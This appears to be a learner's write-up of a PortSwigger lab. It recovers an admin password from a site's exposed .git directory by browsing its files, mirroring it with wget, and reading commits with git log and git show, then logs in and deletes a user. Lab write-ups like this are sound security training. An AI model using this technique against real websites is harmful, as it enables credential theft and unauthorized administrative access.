Information disclosure in version control history

https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history

Description

This lab discloses sensitive information via its version control history. To solve the lab, obtain the password for the administrator user then log in and delete the user carlos.

Solution

Adding .git we obtain a version control history:

https://0afe00be03be902083195529004100e5.web-security-academy.net/.git

Deep dive to each dir/file to check if there're some interesting data:

HEAD

https://0afe00be03be902083195529004100e5.web-security-academy.net/.git/HEAD

ref: refs/heads/master

CONFIG

https://0afe00be03be902083195529004100e5.web-security-academy.net/.git/config

[user]
	email = [e-mail]
	name = Carlos Montoya

COMMIT_EDITMSG

https://0afe00be03be902083195529004100e5.web-security-academy.net/.git/COMMIT_EDITMSG

/refs/heads/master

In the 'Head' page there's a potential path, trying to go there: /refs/heads/master

there's an alphanumeric string:

ff5435104086dbedd8f46b0a70ffb51cca1b1a44

/logs/HEAD

and remembering COMMIT_EDITMSG page and searching into others directories, theres a great info into: /logs/HEAD

https://0afe00be03be902083195529004100e5.web-security-academy.net/.git/logs/HEAD

0000000000000000000000000000000000000000 b25706d68b5971f903aadce94f299ef2371ee46f Carlos Montoya <[e-mail]> 1742510797 +0000	commit (initial): Add skeleton admin panel
b25706d68b5971f903aadce94f299ef2371ee46f ff5435104086dbedd8f46b0a70ffb51cca1b1a44 Carlos Montoya <[e-mail]> 1742510797 +0000	commit: Remove admin password from config

index

https://0afe00be03be902083195529004100e5.web-security-academy.net/.git/index

Downloading and opening index file there're an encoded text in hex:

DIRC\00\00\00\02\00\00\00\02\67\DC\9A\CD\0D\1F\F9\23\67\DC\9A\CD\0D\1F\F9\23\00\00\00\4B\00\31\42\CF\00\00\81\A4\00\00\2E\E2\00\00\2E\E2\00\00\00\25\21\D2\3F\13\CE\6C\70\4B\81\85\73\79\A3\E2\47\E3\43\6F\4B\26\00\0A\61\64\6D\69\6E\2E\63\6F\6E\66\00
\00\00\00\00\00\00\00\67\DC\9A\CD\01\AE\43\06\67\DC\9A\CD\01\AE\43\06\00\00\00\4B\00\31\42\CE\00\00\81\A4\00\00\2E\E2\00\00\2E\E2\00\00\00\58\89\44\E3\B9\85\36\91\43\1D\C5\8D\5F\49\78\D3\94\0C\EA\4A\F2\00\0F\61\64\6D\69\6E\5F\70\61\6E\65\6C
\2E\70\68\70\00\00\00\54\52\45\45\00\00\00\19\00\32\20\30\0A\21\54\55\59\44\00\27\91\A4\D2\74\12\BF\6E\9A\6F\29\E9\42\FA\0E\DD\0E\69\1B\C0\88\2E\F4\9C\F4\9F\4A\5B\13\19\96\04\1A\B7sa

that in clear text contains interesting data:

• admin.conf

• admin_panel.php

Adding those paths, I've not found a solution, so i decided to download the entire git directories and use a dedicated tool.

Download Git Dir: wget -r https://0afe00be03be902083195529004100e5.web-security-academy.net/.git

Now we've download all git files locally, so go there to investigate well (cd ~/Documents/0a2000e40417d00885e2135600ed00cb.web-security-academy.net/.git), files are hidden by default, so we can see them using the flag -h (ls -lah).

It seems the same thing, so we can try to use git commands to check logs: git log

Great, only now i've undestand that those values were about git commits, so the first one seems more interesting, explore it using git show command:

git show e06350084adb1d7a44eef13faf0a9cd6cac55bd5

and finally we obtain the admin password value!

Awesome, now we can login us as administrator (administrator::bohd9ui3rn3yqzgsktq1)

go to admin portal page:

https://0a3f00cb040ae66c819d1b8e00a700ea.web-security-academy.net/admin

and delete 'Carlos' user completing the lab.